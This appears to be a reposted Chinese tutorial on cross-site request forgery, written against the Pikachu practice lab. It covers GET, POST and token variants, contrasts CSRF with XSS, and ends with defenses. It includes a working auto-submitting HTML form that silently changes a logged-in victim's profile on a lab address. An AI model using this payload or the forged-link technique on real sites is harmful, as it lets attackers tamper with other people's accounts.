46

Pikachu-CSRF(跨站请求伪造)

 4 years ago
source link: http://www.cnblogs.com/joker-vip/p/12354993.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Cross-site request forgery 简称为 “CSRF” ,在 CSRF 的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以 CSRF 攻击也成为 "one click" 攻击。 很多人搞不清楚 CSRF 的概念,甚至有时候会将其和 XSS 混淆 , 更有甚者会将其和越权问题混为一谈 , 这都是对原理没搞清楚导致的。

这里列举一个场景解释一下,希望能够帮助你理解。

场景需求:

小黑想要修改大白在购物网站 tianxiewww.xx.com 上填写的会员地址。

先看下大白是如何修改自己的密码的:

登录 --- 修改会员信息,提交请求 --- 修改成功。

所以小黑想要修改大白的信息,他需要拥有: 1 ,登录权限 2

,修改个人信息的请求。

但是大白又不会把自己 xxx 网站的账号密码告诉小黑,那小黑怎么办?

于是他自己跑到 www.xx.com 上注册了一个自己的账号,然后修改了一下自己的个人信息(比如: E-mail 地址),他发现修改的请求是:

http://www.xxx.com/[email protected]&Change=Change

于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录 xxx 网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了 ,

小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:

1.www.xxx.com 这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造 ;

--- 因此,我们判断一个网站是否存在 CSRF 漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作 ( 增删改 ) 是否容易被伪造。

2. 小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上 ;

--- 如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。

--- 因此,要成功实施一次 CSRF 攻击,需要 天时,地利,人和 的条件。

当然,如果小黑事先在 xxx 网的首页如果发现了一个 XSS 漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了 XSS 脚本(盗取 cookie 的脚本)的页面,小白中招,小黑拿到小白的 cookie ,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。

--- 所以跟上面比一下,就可以看出 CSRF XSS 的区别: CSRF 是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而 XSS

是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止 CSRF 攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致 CSRF 。比如:

-- 对敏感信息的操作增加安全的 token

-- 对敏感信息的操作增加安全的验证码;

--

对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

CSRF get

1. 首先使用 vince的账号登陆进去

n6ZZn2U.png!web

2. 点击修改信息,把住址修改成 chain123,并抓包下来

EVFV732.png!web

3.退出vince 的账号,使用 kobe账号登录,可以看到kobe的住址是nba lakes

aUnIreU.png!web

4. 在登录上 kobe 账号的情况下,点击抓包下来的链接,使其可以修改 kobe 住址

VVFzIrE.png!web

5. 刷新过后发现个人信息已改变

E7ZjMbJ.png!web

CSRF post

1. 如果是 POST 型的,所有参数在请求体中提交,我们不能通过伪造 URL 的方式进行攻击

zyqYriF.png!web

2. 这里的攻击方式跟 XSS POST 类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导 lucy 点击这个链接,当用户点击时,就会自动向存在 CSRF 的服务器提交 POST 请求修改个人信息

编写一个 post.html 页面,代码如下所示,本文把此页面放到 Kali /var/www/html/pikachu/doge_csrf 下,然后启动 apache 服务

<html>
<head>
<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="girl" />

    <input id="phonenum" type="text" name="phonenum" value="12345678922" />

    <input id="add" type="text" name="add" value="hacker" />

    <input id="email" type="text" name="email" value="[email protected]" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

4. 把页面的 URL 发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送 POST 请求,修改地址信息

CSRF token

1.CSRF 的主要问题是敏感操作容易被伪造,我们可以加入 Token 让请求不容易被伪造

2. 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证,抓包进行查看

N3ymuq3.png!web

跟前面比较,这里多了一个 Token ,如果后台对提交的 Token 进行了验证,由于 Token 是随机的,我们就无法伪造 URL 了。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK